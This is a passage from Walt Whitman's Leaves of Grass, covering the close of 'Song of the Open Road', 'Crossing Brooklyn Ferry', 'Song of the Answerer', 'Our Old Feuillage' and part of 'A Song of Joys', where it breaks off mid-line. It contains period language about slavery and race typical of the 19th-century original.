+Allons! after the great Companions, and to belong to them! +They too are on the road--they are the swift and majestic men--they + are the greatest women, +Enjoyers of calms of seas and storms of seas, +Sailors of many a ship, walkers of many a mile of land, +Habitues of many distant countries, habitues of far-distant dwellings, +Trusters of men and women, observers of cities, solitary toilers, +Pausers and contemplators of tufts, blossoms, shells of the shore, +Dancers at wedding-dances, kissers of brides, tender helpers of + children, bearers of children, +Soldiers of revolts, standers by gaping graves, lowerers-down of coffins, +Journeyers over consecutive seasons, over the years, the curious + years each emerging from that which preceded it, +Journeyers as with companions, namely their own diverse phases, +Forth-steppers from the latent unrealized baby-days, +Journeyers gayly with their own youth, journeyers with their bearded + and well-grain'd manhood, +Journeyers with their womanhood, ample, unsurpass'd, content, +Journeyers with their own sublime old age of manhood or womanhood, +Old age, calm, expanded, broad with the haughty breadth of the universe, +Old age, flowing free with the delicious near-by freedom of death. + + 13 +Allons! to that which is endless as it was beginningless, +To undergo much, tramps of days, rests of nights, +To merge all in the travel they tend to, and the days and nights + they tend to, +Again to merge them in the start of superior journeys, +To see nothing anywhere but what you may reach it and pass it, +To conceive no time, however distant, but what you may reach it and pass it, +To look up or down no road but it stretches and waits for you, + however long but it stretches and waits for you, +To see no being, not God's or any, but you also go thither, +To see no possession but you may possess it, enjoying all without + labor or purchase, abstracting the feast yet not abstracting one + particle of it, +To take the best of the farmer's farm and the rich man's elegant + villa, and the chaste blessings of the well-married couple, and + the fruits of orchards and flowers of gardens, +To take to your use out of the compact cities as you pass through, +To carry buildings and streets with you afterward wherever you go, +To gather the minds of men out of their brains as you encounter + them, to gather the love out of their hearts, +To take your lovers on the road with you, for all that you leave + them behind you, +To know the universe itself as a road, as many roads, as roads for + traveling souls. + +All parts away for the progress of souls, +All religion, all solid things, arts, governments--all that was or is + apparent upon this globe or any globe, falls into niches and corners + before the procession of souls along the grand roads of the universe. + +Of the progress of the souls of men and women along the grand roads of + the universe, all other progress is the needed emblem and sustenance. + +Forever alive, forever forward, +Stately, solemn, sad, withdrawn, baffled, mad, turbulent, feeble, + dissatisfied, +Desperate, proud, fond, sick, accepted by men, rejected by men, +They go! they go! I know that they go, but I know not where they go, +But I know that they go toward the best--toward something great. + +Whoever you are, come forth! or man or woman come forth! +You must not stay sleeping and dallying there in the house, though + you built it, or though it has been built for you. + +Out of the dark confinement! out from behind the screen! +It is useless to protest, I know all and expose it. + +Behold through you as bad as the rest, +Through the laughter, dancing, dining, supping, of people, +Inside of dresses and ornaments, inside of those wash'd and trimm'd faces, +Behold a secret silent loathing and despair. + +No husband, no wife, no friend, trusted to hear the confession, +Another self, a duplicate of every one, skulking and hiding it goes, +Formless and wordless through the streets of the cities, polite and + bland in the parlors, +In the cars of railroads, in steamboats, in the public assembly, +Home to the houses of men and women, at the table, in the bedroom, + everywhere, +Smartly attired, countenance smiling, form upright, death under the + breast-bones, hell under the skull-bones, +Under the broadcloth and gloves, under the ribbons and artificial flowers, +Keeping fair with the customs, speaking not a syllable of itself, +Speaking of any thing else but never of itself. + + 14 +Allons! through struggles and wars! +The goal that was named cannot be countermanded. + +Have the past struggles succeeded? +What has succeeded? yourself? your nation? Nature? +Now understand me well--it is provided in the essence of things that + from any fruition of success, no matter what, shall come forth + something to make a greater struggle necessary. + +My call is the call of battle, I nourish active rebellion, +He going with me must go well arm'd, +He going with me goes often with spare diet, poverty, angry enemies, + desertions. + + 15 +Allons! the road is before us! +It is safe--I have tried it--my own feet have tried it well--be not + detain'd! +Let the paper remain on the desk unwritten, and the book on the + shelf unopen'd! +Let the tools remain in the workshop! let the money remain unearn'd! +Let the school stand! mind not the cry of the teacher! +Let the preacher preach in his pulpit! let the lawyer plead in the + court, and the judge expound the law. + +Camerado, I give you my hand! +I give you my love more precious than money, +I give you myself before preaching or law; +Will you give me yourselp. will you come travel with me? +Shall we stick by each other as long as we live? + + + +[BOOK VIII] + +} Crossing Brooklyn Ferry + + 1 +Flood-tide below me! I see you face to face! +Clouds of the west--sun there half an hour high--I see you also face + to face. + +Crowds of men and women attired in the usual costumes, how curious + you are to me! +On the ferry-boats the hundreds and hundreds that cross, returning + home, are more curious to me than you suppose, +And you that shall cross from shore to shore years hence are more + to me, and more in my meditations, than you might suppose. + + 2 +The impalpable sustenance of me from all things at all hours of the day, +The simple, compact, well-join'd scheme, myself disintegrated, every + one disintegrated yet part of the scheme, +The similitudes of the past and those of the future, +The glories strung like beads on my smallest sights and hearings, on + the walk in the street and the passage over the river, +The current rushing so swiftly and swimming with me far away, +The others that are to follow me, the ties between me and them, +The certainty of others, the life, love, sight, hearing of others. + +Others will enter the gates of the ferry and cross from shore to shore, +Others will watch the run of the flood-tide, +Others will see the shipping of Manhattan north and west, and the + heights of Brooklyn to the south and east, +Others will see the islands large and small; +Fifty years hence, others will see them as they cross, the sun half + an hour high, +A hundred years hence, or ever so many hundred years hence, others + will see them, +Will enjoy the sunset, the pouring-in of the flood-tide, the + falling-back to the sea of the ebb-tide. + + 3 +It avails not, time nor place--distance avails not, +I am with you, you men and women of a generation, or ever so many + generations hence, +Just as you feel when you look on the river and sky, so I felt, +Just as any of you is one of a living crowd, I was one of a crowd, +Just as you are refresh'd by the gladness of the river and the + bright flow, I was refresh'd, +Just as you stand and lean on the rail, yet hurry with the swift + current, I stood yet was hurried, +Just as you look on the numberless masts of ships and the + thick-stemm'd pipes of steamboats, I look'd. + +I too many and many a time cross'd the river of old, +Watched the Twelfth-month sea-gulls, saw them high in the air + floating with motionless wings, oscillating their bodies, +Saw how the glistening yellow lit up parts of their bodies and left + the rest in strong shadow, +Saw the slow-wheeling circles and the gradual edging toward the south, +Saw the reflection of the summer sky in the water, +Had my eyes dazzled by the shimmering track of beams, +Look'd at the fine centrifugal spokes of light round the shape of my + head in the sunlit water, +Look'd on the haze on the hills southward and south-westward, +Look'd on the vapor as it flew in fleeces tinged with violet, +Look'd toward the lower bay to notice the vessels arriving, +Saw their approach, saw aboard those that were near me, +Saw the white sails of schooners and sloops, saw the ships at anchor, +The sailors at work in the rigging or out astride the spars, +The round masts, the swinging motion of the hulls, the slender + serpentine pennants, +The large and small steamers in motion, the pilots in their pilothouses, +The white wake left by the passage, the quick tremulous whirl of the wheels, +The flags of all nations, the falling of them at sunset, +The scallop-edged waves in the twilight, the ladled cups, the + frolic-some crests and glistening, +The stretch afar growing dimmer and dimmer, the gray walls of the + granite storehouses by the docks, +On the river the shadowy group, the big steam-tug closely flank'd on + each side by the barges, the hay-boat, the belated lighter, +On the neighboring shore the fires from the foundry chimneys burning + high and glaringly into the night, +Casting their flicker of black contrasted with wild red and yellow + light over the tops of houses, and down into the clefts of streets. + + 4 +These and all else were to me the same as they are to you, +I loved well those cities, loved well the stately and rapid river, +The men and women I saw were all near to me, +Others the same--others who look back on me because I look'd forward + to them, +(The time will come, though I stop here to-day and to-night.) + + 5 +What is it then between us? +What is the count of the scores or hundreds of years between us? + +Whatever it is, it avails not--distance avails not, and place avails not, +I too lived, Brooklyn of ample hills was mine, +I too walk'd the streets of Manhattan island, and bathed in the + waters around it, +I too felt the curious abrupt questionings stir within me, +In the day among crowds of people sometimes they came upon me, +In my walks home late at night or as I lay in my bed they came upon me, +I too had been struck from the float forever held in solution, +I too had receiv'd identity by my body, +That I was I knew was of my body, and what I should be I knew I + should be of my body. + + 6 +It is not upon you alone the dark patches fall, +The dark threw its patches down upon me also, +The best I had done seem'd to me blank and suspicious, +My great thoughts as I supposed them, were they not in reality meagre? +Nor is it you alone who know what it is to be evil, +I am he who knew what it was to be evil, +I too knitted the old knot of contrariety, +Blabb'd, blush'd, resented, lied, stole, grudg'd, +Had guile, anger, lust, hot wishes I dared not speak, +Was wayward, vain, greedy, shallow, sly, cowardly, malignant, +The wolf, the snake, the hog, not wanting in me. +The cheating look, the frivolous word, the adulterous wish, not wanting, + +Refusals, hates, postponements, meanness, laziness, none of these wanting, +Was one with the rest, the days and haps of the rest, +Was call'd by my nighest name by clear loud voices of young men as + they saw me approaching or passing, +Felt their arms on my neck as I stood, or the negligent leaning of + their flesh against me as I sat, +Saw many I loved in the street or ferry-boat or public assembly, yet + never told them a word, +Lived the same life with the rest, the same old laughing, gnawing, sleeping, +Play'd the part that still looks back on the actor or actress, +The same old role, the role that is what we make it, as great as we like, +Or as small as we like, or both great and small. + + 7 +Closer yet I approach you, +What thought you have of me now, I had as much of you--I laid in my + stores in advance, +I consider'd long and seriously of you before you were born. + +Who was to know what should come home to me? +Who knows but I am enjoying this? +Who knows, for all the distance, but I am as good as looking at you + now, for all you cannot see me? + + 8 +Ah, what can ever be more stately and admirable to me than + mast-hemm'd Manhattan? +River and sunset and scallop-edg'd waves of flood-tide? +The sea-gulls oscillating their bodies, the hay-boat in the + twilight, and the belated lighter? +What gods can exceed these that clasp me by the hand, and with voices I + love call me promptly and loudly by my nighest name as approach? +What is more subtle than this which ties me to the woman or man that + looks in my face? +Which fuses me into you now, and pours my meaning into you? + +We understand then do we not? +What I promis'd without mentioning it, have you not accepted? +What the study could not teach--what the preaching could not + accomplish is accomplish'd, is it not? + + 9 +Flow on, river! flow with the flood-tide, and ebb with the ebb-tide! +Frolic on, crested and scallop-edg'd waves! +Gorgeous clouds of the sunset! drench with your splendor me, or the + men and women generations after me! +Cross from shore to shore, countless crowds of passengers! +Stand up, tall masts of Mannahatta! stand up, beautiful hills of Brooklyn! +Throb, baffled and curious brain! throw out questions and answers! +Suspend here and everywhere, eternal float of solution! +Gaze, loving and thirsting eyes, in the house or street or public assembly! +Sound out, voices of young men! loudly and musically call me by my + nighest name! +Live, old life! play the part that looks back on the actor or actress! +Play the old role, the role that is great or small according as one + makes it! +Consider, you who peruse me, whether I may not in unknown ways be + looking upon you; +Be firm, rail over the river, to support those who lean idly, yet + haste with the hasting current; +Fly on, sea-birds! fly sideways, or wheel in large circles high in the air; +Receive the summer sky, you water, and faithfully hold it till all + downcast eyes have time to take it from you! +Diverge, fine spokes of light, from the shape of my head, or any + one's head, in the sunlit water! +Come on, ships from the lower bay! pass up or down, white-sail'd + schooners, sloops, lighters! +Flaunt away, flags of all nations! be duly lower'd at sunset! +Burn high your fires, foundry chimneys! cast black shadows at + nightfall! cast red and yellow light over the tops of the houses! +Appearances, now or henceforth, indicate what you are, +You necessary film, continue to envelop the soul, +About my body for me, and your body for you, be hung our divinest aromas, +Thrive, cities--bring your freight, bring your shows, ample and + sufficient rivers, +Expand, being than which none else is perhaps more spiritual, +Keep your places, objects than which none else is more lasting. + +You have waited, you always wait, you dumb, beautiful ministers, +We receive you with free sense at last, and are insatiate henceforward, +Not you any more shall be able to foil us, or withhold yourselves from us, +We use you, and do not cast you aside--we plant you permanently within us, +We fathom you not--we love you--there is perfection in you also, +You furnish your parts toward eternity, +Great or small, you furnish your parts toward the soul. + + + +[BOOK IX] + +} Song of the Answerer + + 1 +Now list to my morning's romanza, I tell the signs of the Answerer, +To the cities and farms I sing as they spread in the sunshine before me. + +A young man comes to me bearing a message from his brother, +How shall the young man know the whether and when of his brother? +Tell him to send me the signs. And I stand before the young man + face to face, and take his right hand in my left hand and his + left hand in my right hand, +And I answer for his brother and for men, and I answer for him that + answers for all, and send these signs. + +Him all wait for, him all yield up to, his word is decisive and final, +Him they accept, in him lave, in him perceive themselves as amid light, +Him they immerse and he immerses them. + +Beautiful women, the haughtiest nations, laws, the landscape, + people, animals, +The profound earth and its attributes and the unquiet ocean, (so + tell I my morning's romanza,) +All enjoyments and properties and money, and whatever money will buy, +The best farms, others toiling and planting and he unavoidably reaps, +The noblest and costliest cities, others grading and building and he + domiciles there, +Nothing for any one but what is for him, near and far are for him, + the ships in the offing, +The perpetual shows and marches on land are for him if they are for anybody. + +He puts things in their attitudes, +He puts to-day out of himself with plasticity and love, +He places his own times, reminiscences, parents, brothers and + sisters, associations, employment, politics, so that the rest + never shame them afterward, nor assume to command them. + +He is the Answerer, +What can be answer'd he answers, and what cannot be answer'd he + shows how it cannot be answer'd. + +A man is a summons and challenge, +(It is vain to skulk--do you hear that mocking and laughter? do you + hear the ironical echoes?) + +Books, friendships, philosophers, priests, action, pleasure, pride, + beat up and down seeking to give satisfaction, +He indicates the satisfaction, and indicates them that beat up and + down also. + +Whichever the sex, whatever the season or place, he may go freshly + and gently and safely by day or by night, +He has the pass-key of hearts, to him the response of the prying of + hands on the knobs. + +His welcome is universal, the flow of beauty is not more welcome or + universal than he is, +The person he favors by day or sleeps with at night is blessed. + +Every existence has its idiom, every thing has an idiom and tongue, +He resolves all tongues into his own and bestows it upon men, and + any man translates, and any man translates himself also, +One part does not counteract another part, he is the joiner, he sees + how they join. + +He says indifferently and alike How are you friend? to the President + at his levee, +And he says Good-day my brother, to Cudge that hoes in the sugar-field, +And both understand him and know that his speech is right. + +He walks with perfect ease in the capitol, +He walks among the Congress, and one Representative says to another, + Here is our equal appearing and new. + +Then the mechanics take him for a mechanic, +And the soldiers suppose him to be a soldier, and the sailors that + he has follow'd the sea, +And the authors take him for an author, and the artists for an artist, +And the laborers perceive he could labor with them and love them, +No matter what the work is, that he is the one to follow it or has + follow'd it, +No matter what the nation, that he might find his brothers and + sisters there. + +The English believe he comes of their English stock, +A Jew to the Jew he seems, a Russ to the Russ, usual and near, + removed from none. + +Whoever he looks at in the traveler's coffee-house claims him, +The Italian or Frenchman is sure, the German is sure, the Spaniard + is sure, and the island Cuban is sure, +The engineer, the deck-hand on the great lakes, or on the Mississippi + or St. Lawrence or Sacramento, or Hudson or Paumanok sound, claims him. + +The gentleman of perfect blood acknowledges his perfect blood, +The insulter, the prostitute, the angry person, the beggar, see + themselves in the ways of him, he strangely transmutes them, +They are not vile any more, they hardly know themselves they are so grown. + + 2 +The indications and tally of time, +Perfect sanity shows the master among philosophs, +Time, always without break, indicates itself in parts, +What always indicates the poet is the crowd of the pleasant company + of singers, and their words, +The words of the singers are the hours or minutes of the light or dark, + but the words of the maker of poems are the general light and dark, +The maker of poems settles justice, reality, immortality, +His insight and power encircle things and the human race, +He is the glory and extract thus far of things and of the human race. + +The singers do not beget, only the Poet begets, +The singers are welcom'd, understood, appear often enough, but rare + has the day been, likewise the spot, of the birth of the maker + of poems, the Answerer, +(Not every century nor every five centuries has contain'd such a + day, for all its names.) + +The singers of successive hours of centuries may have ostensible + names, but the name of each of them is one of the singers, +The name of each is, eye-singer, ear-singer, head-singer, + sweet-singer, night-singer, parlor-singer, love-singer, + weird-singer, or something else. + +All this time and at all times wait the words of true poems, +The words of true poems do not merely please, +The true poets are not followers of beauty but the august masters of beauty; +The greatness of sons is the exuding of the greatness of mothers + and fathers, +The words of true poems are the tuft and final applause of science. + +Divine instinct, breadth of vision, the law of reason, health, + rudeness of body, withdrawnness, +Gayety, sun-tan, air-sweetness, such are some of the words of poems. + +The sailor and traveler underlie the maker of poems, the Answerer, +The builder, geometer, chemist, anatomist, phrenologist, artist, all + these underlie the maker of poems, the Answerer. + +The words of the true poems give you more than poems, +They give you to form for yourself poems, religions, politics, war, + peace, behavior, histories, essays, daily life, and every thing else, +They balance ranks, colors, races, creeds, and the sexes, +They do not seek beauty, they are sought, +Forever touching them or close upon them follows beauty, longing, + fain, love-sick. + +They prepare for death, yet are they not the finish, but rather the outset, +They bring none to his or her terminus or to be content and full, +Whom they take they take into space to behold the birth of stars, to + learn one of the meanings, +To launch off with absolute faith, to sweep through the ceaseless + rings and never be quiet again. + + + +[BOOK X] + +} Our Old Feuillage + +Always our old feuillage! +Always Florida's green peninsula--always the priceless delta of + Louisiana--always the cotton-fields of Alabama and Texas, +Always California's golden hills and hollows, and the silver + mountains of New Mexico--always soft-breath'd Cuba, +Always the vast slope drain'd by the Southern sea, inseparable with + the slopes drain'd by the Eastern and Western seas, +The area the eighty-third year of these States, the three and a half + millions of square miles, +The eighteen thousand miles of sea-coast and bay-coast on the main, + the thirty thousand miles of river navigation, +The seven millions of distinct families and the same number of dwellings-- + always these, and more, branching forth into numberless branches, +Always the free range and diversity--always the continent of Democracy; +Always the prairies, pastures, forests, vast cities, travelers, + Kanada, the snows; +Always these compact lands tied at the hips with the belt stringing + the huge oval lakes; +Always the West with strong native persons, the increasing density there, + the habitans, friendly, threatening, ironical, scorning invaders; +All sights, South, North, East--all deeds, promiscuously done at all times, +All characters, movements, growths, a few noticed, myriads unnoticed, +Through Mannahatta's streets I walking, these things gathering, +On interior rivers by night in the glare of pine knots, steamboats + wooding up, +Sunlight by day on the valley of the Susquehanna, and on the valleys + of the Potomac and Rappahannock, and the valleys of the Roanoke + and Delaware, +In their northerly wilds beasts of prey haunting the Adirondacks the + hills, or lapping the Saginaw waters to drink, +In a lonesome inlet a sheldrake lost from the flock, sitting on the + water rocking silently, +In farmers' barns oxen in the stable, their harvest labor done, they + rest standing, they are too tired, +Afar on arctic ice the she-walrus lying drowsily while her cubs play around, +The hawk sailing where men have not yet sail'd, the farthest polar + sea, ripply, crystalline, open, beyond the floes, +White drift spooning ahead where the ship in the tempest dashes, +On solid land what is done in cities as the bells strike midnight together, +In primitive woods the sounds there also sounding, the howl of the + wolf, the scream of the panther, and the hoarse bellow of the elk, +In winter beneath the hard blue ice of Moosehead lake, in summer + visible through the clear waters, the great trout swimming, +In lower latitudes in warmer air in the Carolinas the large black + buzzard floating slowly high beyond the tree tops, +Below, the red cedar festoon'd with tylandria, the pines and + cypresses growing out of the white sand that spreads far and flat, +Rude boats descending the big Pedee, climbing plants, parasites with + color'd flowers and berries enveloping huge trees, +The waving drapery on the live-oak trailing long and low, + noiselessly waved by the wind, +The camp of Georgia wagoners just after dark, the supper-fires and + the cooking and eating by whites and negroes, +Thirty or forty great wagons, the mules, cattle, horses, feeding + from troughs, +The shadows, gleams, up under the leaves of the old sycamore-trees, + the flames with the black smoke from the pitch-pine curling and rising; +Southern fishermen fishing, the sounds and inlets of North + Carolina's coast, the shad-fishery and the herring-fishery, the + large sweep-seines, the windlasses on shore work'd by horses, the + clearing, curing, and packing-houses; +Deep in the forest in piney woods turpentine dropping from the + incisions in the trees, there are the turpentine works, +There are the negroes at work in good health, the ground in all + directions is cover'd with pine straw; +In Tennessee and Kentucky slaves busy in the coalings, at the forge, + by the furnace-blaze, or at the corn-shucking, +In Virginia, the planter's son returning after a long absence, + joyfully welcom'd and kiss'd by the aged mulatto nurse, +On rivers boatmen safely moor'd at nightfall in their boats under + shelter of high banks, +Some of the younger men dance to the sound of the banjo or fiddle, + others sit on the gunwale smoking and talking; +Late in the afternoon the mocking-bird, the American mimic, singing + in the Great Dismal Swamp, +There are the greenish waters, the resinous odor, the plenteous + moss, the cypress-tree, and the juniper-tree; +Northward, young men of Mannahatta, the target company from an + excursion returning home at evening, the musket-muzzles all + bear bunches of flowers presented by women; +Children at play, or on his father's lap a young boy fallen asleep, + (how his lips move! how he smiles in his sleep!) +The scout riding on horseback over the plains west of the + Mississippi, he ascends a knoll and sweeps his eyes around; +California life, the miner, bearded, dress'd in his rude costume, + the stanch California friendship, the sweet air, the graves one + in passing meets solitary just aside the horse-path; +Down in Texas the cotton-field, the negro-cabins, drivers driving + mules or oxen before rude carts, cotton bales piled on banks + and wharves; +Encircling all, vast-darting up and wide, the American Soul, with + equal hemispheres, one Love, one Dilation or Pride; +In arriere the peace-talk with the Iroquois the aborigines, the + calumet, the pipe of good-will, arbitration, and indorsement, +The sachem blowing the smoke first toward the sun and then toward + the earth, +The drama of the scalp-dance enacted with painted faces and guttural + exclamations, +The setting out of the war-party, the long and stealthy march, +The single file, the swinging hatchets, the surprise and slaughter + of enemies; +All the acts, scenes, ways, persons, attitudes of these States, + reminiscences, institutions, +All these States compact, every square mile of these States without + excepting a particle; +Me pleas'd, rambling in lanes and country fields, Paumanok's fields, +Observing the spiral flight of two little yellow butterflies + shuffling between each other, ascending high in the air, +The darting swallow, the destroyer of insects, the fall traveler + southward but returning northward early in the spring, +The country boy at the close of the day driving the herd of cows and + shouting to them as they loiter to browse by the roadside, +The city wharf, Boston, Philadelphia, Baltimore, Charleston, New + Orleans, San Francisco, +The departing ships when the sailors heave at the capstan; +Evening--me in my room--the setting sun, +The setting summer sun shining in my open window, showing the + swarm of flies, suspended, balancing in the air in the centre + of the room, darting athwart, up and down, casting swift + shadows in specks on the opposite wall where the shine is; +The athletic American matron speaking in public to crowds of listeners, +Males, females, immigrants, combinations, the copiousness, the + individuality of the States, each for itself--the moneymakers, +Factories, machinery, the mechanical forces, the windlass, lever, + pulley, all certainties, +The certainty of space, increase, freedom, futurity, +In space the sporades, the scatter'd islands, the stars--on the firm + earth, the lands, my lands, +O lands! all so dear to me--what you are, (whatever it is,) I putting it + at random in these songs, become a part of that, whatever it is, +Southward there, I screaming, with wings slow flapping, with the + myriads of gulls wintering along the coasts of Florida, +Otherways there atwixt the banks of the Arkansaw, the Rio Grande, + the Nueces, the Brazos, the Tombigbee, the Red River, the + Saskatchawan or the Osage, I with the spring waters laughing + and skipping and running, +Northward, on the sands, on some shallow bay of Paumanok, I with + parties of snowy herons wading in the wet to seek worms and + aquatic plants, +Retreating, triumphantly twittering, the king-bird, from piercing + the crow with its bill, for amusement--and I triumphantly twittering, +The migrating flock of wild geese alighting in autumn to refresh + themselves, the body of the flock feed, the sentinels outside + move around with erect heads watching, and are from time to time + reliev'd by other sentinels--and I feeding and taking turns + with the rest, +In Kanadian forests the moose, large as an ox, corner'd by hunters, + rising desperately on his hind-feet, and plunging with his + fore-feet, the hoofs as sharp as knives--and I, plunging at the + hunters, corner'd and desperate, +In the Mannahatta, streets, piers, shipping, store-houses, and the + countless workmen working in the shops, +And I too of the Mannahatta, singing thereof--and no less in myself + than the whole of the Mannahatta in itself, +Singing the song of These, my ever-united lands--my body no more + inevitably united, part to part, and made out of a thousand + diverse contributions one identity, any more than my lands + are inevitably united and made ONE IDENTITY; +Nativities, climates, the grass of the great pastoral Plains, +Cities, labors, death, animals, products, war, good and evil--these me, +These affording, in all their particulars, the old feuillage to me + and to America, how can I do less than pass the clew of the union + of them, to afford the like to you? +Whoever you are! how can I but offer you divine leaves, that you + also be eligible as I am? +How can I but as here chanting, invite you for yourself to collect + bouquets of the incomparable feuillage of these States? + + + +[BOOK XI] + +} A Song of Joys + +O to make the most jubilant song! +Full of music--full of manhood, womanhood, infancy! +Full of common employments--full of grain and trees. + +O for the voices of animals--O for the swiftness and balance of fishes! +O for the dropping of raindrops in a song! +O for the sunshine and motion of waves in a song! + +O the joy of my spirit--it is uncaged--it darts like lightning! +It is not enough to have this globe or a certain time, +I will have thousands of globes and all time. + +O the engineer's joys! to go with a locomotive! +To hear the hiss of steam, the merry shriek, the steam-whistle, the + laughing locomotive! +To push with resistless way and speed off in the distance. + +O the gleesome saunter over fields and hillsides! +The leaves and flowers of the commonest weeds, the moist fresh + stillness of the woods, +The exquisite smell of the earth at daybreak, and all through the forenoon. + +O the horseman's and horsewoman's joys! +The saddle, the gallop, the pressure upon the seat, the cool + gurgling by the ears and hair. + +O the fireman's joys! +I hear the alarm at dead of night, +I hear bells, shouts! I pass the crowd, I run! +The sight of the flames maddens me with pleasure. + +O the joy of the strong-brawn'd fighter, towering in the arena in + perfect condition, conscious of power, thirsting to meet his opponent. + +O the joy of that vast elemental sympathy which only the human soul is + capable of generating and emitting in steady and limitless floods. + +O the mother's joys! +The watching, the endurance, the precious love, the anguish, the + patiently yielded life. + +O the of increase, growth, recuperation, +The joy of soothing and pacifying, the joy of concord and harmony. + +O to go back to the place where I was born, +To hear the birds sing once more, +To ramble about the house and barn and over the fields once more, +And through the orchard and along the old lanes once more. + +O to have been brought up on bays, lagoons, creeks, or along the coast, +To continue and be employ'd there all my life, +The briny and damp smell, the shore, the salt weeds exposed at low water, +The work of fishermen, the work of the eel-fisher and clam-fisher; +I come with my clam-rake and spade, I come with my eel-spear, +Is the tide out? I Join the group of clam-diggers on the flats, +I laugh and work with them, I joke at my work like a mettlesome young man; +In winter I take my eel-basket and eel-spear and travel out on foot + on the ice--I have a small axe to cut holes in the ice, +Behold me well-clothed going gayly or returning in the afternoon, + my brood of tough boys accompanying me, +My brood of grown and part-grown boys, who love to be with no + one else so well as they love to be with me, +By day to work with me, and by night to sleep with me. + +Another time in warm weather out in a boat, to lift the lobster-pots + where they are sunk with heavy stones, (I know the buoys,) +O the sweetness of the Fifth-month morning upon the water as I row + just before sunrise toward the buoys, +I pull the wicker pots up slantingly, the dark green lobsters are + desperate with their claws as I take them out, I insert + wooden pegs in the 'oints of their pincers, + +I go to all the places one after another, and then row back to the shore, +There in a huge kettle of boiling water the lobsters shall be boil'd + till their color becomes scarlet. + +Another time mackerel-taking, +Voracious, mad for the hook, near the surface, they seem to fill the + water for miles; +Another time fishing for rock-fish in Chesapeake bay, I one of the + brown-faced crew; +Another time trailing for blue-fish off Paumanok, I stand with braced body, +My left foot is on the gunwale, my right arm throws far out the + coils of slender rope, +In sight around me the quick veering and darting of fifty skiffs, my + companions. + +O boating on the rivers, +The voyage down the St. Lawrence, the superb scenery, the steamers, +The ships sailing, the Thousand Islands, the occasional timber-raft + and the raftsmen with long-reaching sweep-oars, +The little huts on the rafts, and the stream of smoke when they cook + supper at evening. + +(O something pernicious and dread! +Something far away from a puny and pious life! +Something unproved! something in a trance! +Something escaped from the anchorage and driving free.) + +O to work in mines, or forging iron, +Foundry casting, the foundry itself, the rude high roof, the ample + and shadow'd space, +The furnace, the hot liquid pour'd out and running. + +O to resume the joys of the soldier! +To feel the presence of a brave commanding officer--to feel his sympathy! +To behold his calmness--to be warm'd in the rays of his smile! +To go to battle--to hear the bugles play and the drums beat! +To hear the crash of artillery--to see the glittering of the bayonets + and musket-barrels in the sun! + +To see men fall and die and not complain! +To taste the savage taste of blood--to be so devilish! +To gloat so over the wounds and deaths of the enemy. + +O the whaleman's joys! O I cruise my old cruise again! +I feel the ship's motion under me, I feel the Atlantic breezes fanning me, +I hear the cry again sent down from the mast-head, There--she blows! +Again I spring up the rigging to look with the rest--we descend, + wild with excitement, +I leap in the lower'd boat, we row toward our prey where he lies, +We approach stealthy and silent, I see the mountainous mass, + lethargic, basking, +I see the harpooneer standing up, I see the weapon dart from his + vigorous arm; +O swift again far out in the ocean the wounded whale, settling, + running to windward, tows me, +Again I see him rise to breathe, we row close again, +I see a lance driven through his side, press'd deep, turn'd in the wound, +Again we back off, I see him settle again, the life is leaving him fast, +As he rises he spouts blood, I see him swim in circles narrower and + narrower, swiftly cutting the water--I see him die, +He gives one convulsive leap in the centre of the circle, and then + falls flat and still in the bloody foam. + +O the old manhood of me, my noblest joy of all! +My children and grand-children, my white hair and beard, +My largeness, calmness, majesty, out of the long stretch of my life. + +O ripen'd joy of womanhood! O happiness at last! +I am more than eighty years of age, I am the most venerable mother, +How clear is my mind--how all people draw nigh to me! +What attractions are these beyond any before? what bloom more + than the bloom of youth? +What beauty is this that descends upon me and rises out of me? + +O the orator's joys! +To inflate the chest, to roll the thunder of the voice out from the + ribs and throat, +To make the people rage, weep, hate, desire, with yourself, +To lead America--to quell America with a great tongue. + +O the joy of my soul leaning pois'd on itself, receiving identity through + materials and loving them, observing characters and absorbing them, +My soul vibrated back to me from them, from sight, hearing, touch, + reason, articulation, comparison, memory, and the like, +The real life of my senses and flesh transcending my senses and flesh, +My body done with materials, my sight done with my material eyes, +Proved to me this day beyond cavil that it is not my material eyes + which finally see, +Nor my material body which finally loves, walks, laughs, shouts, + embraces, procreates. + +O the farmer's joys! +Ohioan's, Illinoisian's, Wisconsinese', Kanadian's, Iowan's, + Kansian's, Missourian's, Oregonese' joys! +To rise at peep of day and pass forth nimbly to work, +To plough land in the fall for winter-sown crops, +To plough land in the spring for maize, +To train orchards, to graft the trees, to gather apples in the fall. + +O to bathe in the swimming-bath, or in a good place along shore, +To splash the water! to walk ankle-deep, or race naked along the shore. + +O to realize space! +The plenteousness of all, that there are no bounds, +To emerge and be of the sky, of the sun and moon and flying + clouds, as one with them. + +O the joy a manly self-hood! +To be servile to none, to defer to none, not to any tyrant known or unknown, +To walk with erect carriage, a step springy and elastic, +To look with calm gaze or with a flashing eye, +To speak with a full and sonorous voice out of a broad chest, +To confront with your personality all the other personalities of the earth. + +Knowist thou the excellent joys of youth? +Joys of the dear companions and of the merry word and laughing face? +Joy of the glad light-beaming day, joy of the wide-breath'd games? +Joy of sweet music, joy of the lighted ball-room and the dancers? +Joy of the plenteous dinner, strong carouse and drinking? + +Yet O my soul supreme! +Knowist thou the joys of pensive thought? +Joys of the free and lonesome heart, the tender, gloomy heart? +Joys of the solitary walk, the spirit bow'd yet proud, the suffering + and the struggle? +The agonistic throes, the ecstasies, joys of the solemn musings day + or night? +Joys of the thought of Death, the great spheres Time and Space? +Prophetic joys of better, loftier love's ideals, the divine wife, + the sweet, eternal, perfect comrade? +Joys all thine own undying one, joys worthy thee O soul. + +O while I live to be the ruler of life, not a slave, +To meet life as a powerful conqueror, +No fumes, no ennui, no more complaints or scornful criticisms, +To these proud laws of the air, the water and the ground, proving + my interior soul impregnable, +And nothing exterior shall ever take command of me. + +For not life's joys alone I sing, repeating--the joy of death! +The beautiful touch of Death, soothing and benumbing a few moments, + for reasons, +Myself discharging my excrementitious body to be burn'd, or render'd + to powder, or buried, +My real body doubtless left to me for other spheres, +My voided body nothing more to me, returning to the purifications, + further offices, eternal uses of the earth. + +O to attract by more than attraction! +How it is I know not--yet behold! the something which obeys none + of the rest, +It is offensive, never defensive--yet how magnetic it draws. + +O to struggle against great odds, to meet enemies undaunted! +To be entirely alone with them, to find how much one can stand! +To look strife, torture, prison, popular odium, face to face! +To mount the scaffold, to advance to the muzzles of guns with + perfect nonchalance! +To be indeed a God! + +O to sail to sea in a ship! +To leave this steady unendurable land, +To leave the tiresome sameness of the streets, the sidewalks and the + houses, +To leave you O you solid motionless land, and entering a ship, +To sail and sail and sail! + +O to have life henceforth a poem of new joys! +To dance, clap hands, exult, shout, skip, leap, roll on, float on! +To be a sailor of the world 